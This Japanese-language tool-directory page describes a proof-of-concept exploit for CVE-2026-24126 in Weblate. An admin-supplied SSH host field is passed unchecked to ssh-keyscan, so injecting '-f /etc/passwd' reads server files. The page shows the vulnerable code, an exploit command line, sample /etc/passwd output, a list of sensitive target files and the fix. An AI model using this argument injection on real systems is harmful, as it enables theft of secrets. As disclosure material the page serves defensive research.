Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Weblate-CVE-2026-24126 — CVE-2026-24126の概念実証エクスプロイト。WeblateにおけるSSHホスト引数インジェクションによる任意ファイル読み取りで、認証済み管理者がサーバーファイルを読み取ることができます。 | Kitploit
ツール/GitHubGitHub/alexb616/weblate-cve-2026-24126
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubalexb616/weblate-cve-2026-24126

Weblate-CVE-2026-24126

CVE-2026-24126の概念実証エクスプロイト。WeblateにおけるSSHホスト引数インジェクションによる任意ファイル読み取りで、認証済み管理者がサーバーファイルを読み取ることができます。

リポジトリを見る
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Weblate — SSHホスト引数インジェクションによる任意ファイル読み取り

発見者: Alejandro Baño · 2026年1月 謝辞: Weblate 5.16 リリースノート


概要

WeblateのSSHホストキー管理エンドポイントは、認証済み管理者が指定したhostパラメータを、サニタイズや引数検証を一切行わずに直接ssh-keyscanへ渡します。ssh-keyscanは-f <file>フラグを受け付けてファイルから対象ホスト名を読み込むため、管理者資格情報を持つ攻撃者はそのフラグをホスト値として注入し、サーバーに任意のローカルファイルを開かせることができます。その結果のエラー出力(または標準出力)は、エラーメッセージブロック内でそのままブラウザに反映され、ファイルの内容が漏えいします。


脆弱性の詳細

フィールド値
対象Weblate(セルフホスト版)
コンポーネントSSHキー管理 — weblate/ssh/views.py · add_host_key()
必要な認証あり — Weblate管理者アカウント
影響を受けるバージョン5.15.2以下の全バージョン(5.0.2および5.15.2でテスト済み)
影響Webサーバープロセスユーザー(weblate、www-dataなど)としての任意ローカルファイル読み取り
CVSS v3CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L
CVECVE-2026-24126

根本原因

root@kitploit:~
# weblate/ssh/views.py  — 簡略化
def add_host_key(request, host, port=""):
    cmdline = ["ssh-keyscan"]
    if port:
        cmdline.extend(["-p", str(port)])
    cmdline.append(host)          # ← hostは検証なしで追加される
    result = subprocess.run(cmdline, ...)

host値はPOSTボディのhostフィールドから直接取得され、許可リストも、先頭のダッシュの除去も、ユーザー指定値の前の--引数終端子もありません。これにより、攻撃者は任意のssh-keyscanフラグを注入できます。

ssh-keyscan -f /etc/passwdは/etc/passwdをホスト名のリストとして読み取り、各行の解決に失敗して、それぞれに対してエラー出力を生成します。そのエラー出力はCalledProcessErrorハンドラーを通じて伝播し、HTTPレスポンス内のalert-dangerブロックに表示されます。


概念実証

root@kitploit:~
python3 exploit.py -r https://target.example.com -u admin -p admin123 -f /etc/passwd

オプション

フラグ説明
-r / --rhostWeblateインスタンスのベースURL
-u / --username管理者ユーザー名
-p / --password管理者パスワード
-f / --fileサーバー上で読み取るファイルのパス

出力例

root@kitploit:~
python3 CVE-2026-24126.py -r http://localhost -u admin -p 'ChangeThisToAStrongPassword' -f /etc/passwd

[+] ユーザー admin のログインに成功
[*] ペイロードを http://localhost/manage/ssh/ に送信中。時間がかかる場合があります。お待ちください...

[+] 抽出したファイルの内容:
--------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
weblate:x:1000:1000::/home/weblate:/bin/sh
--------------------------------------------------
[!] エクスプロイト終了

影響

Weblateを実行しているOSユーザー(通常はweblateユーザー)が読み取り可能な任意のファイルは、単一の認証済みPOSTリクエストで外部に持ち出すことができます。機密性の高い対象には以下が含まれます:

  • アプリケーションのシークレット: settings.py、.env、local_settings.py
  • プライベートSSHキー: /var/lib/weblate/.ssh/id_rsa
  • 設定ファイルに含まれるデータベース資格情報

修正方法

Weblate 5.16.0以降に更新してください。 これはWeblateチームが2026年2月18日にリリースした公式修正であり、SSHホストフィールドに適切な入力検証が導入されました。

免責事項

このリポジトリは教育および許可されたセキュリティ研究のみを目的としています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対してこのツールを使用しないでください。著者は誤用に対する責任を負いません。

ツールをダウンロード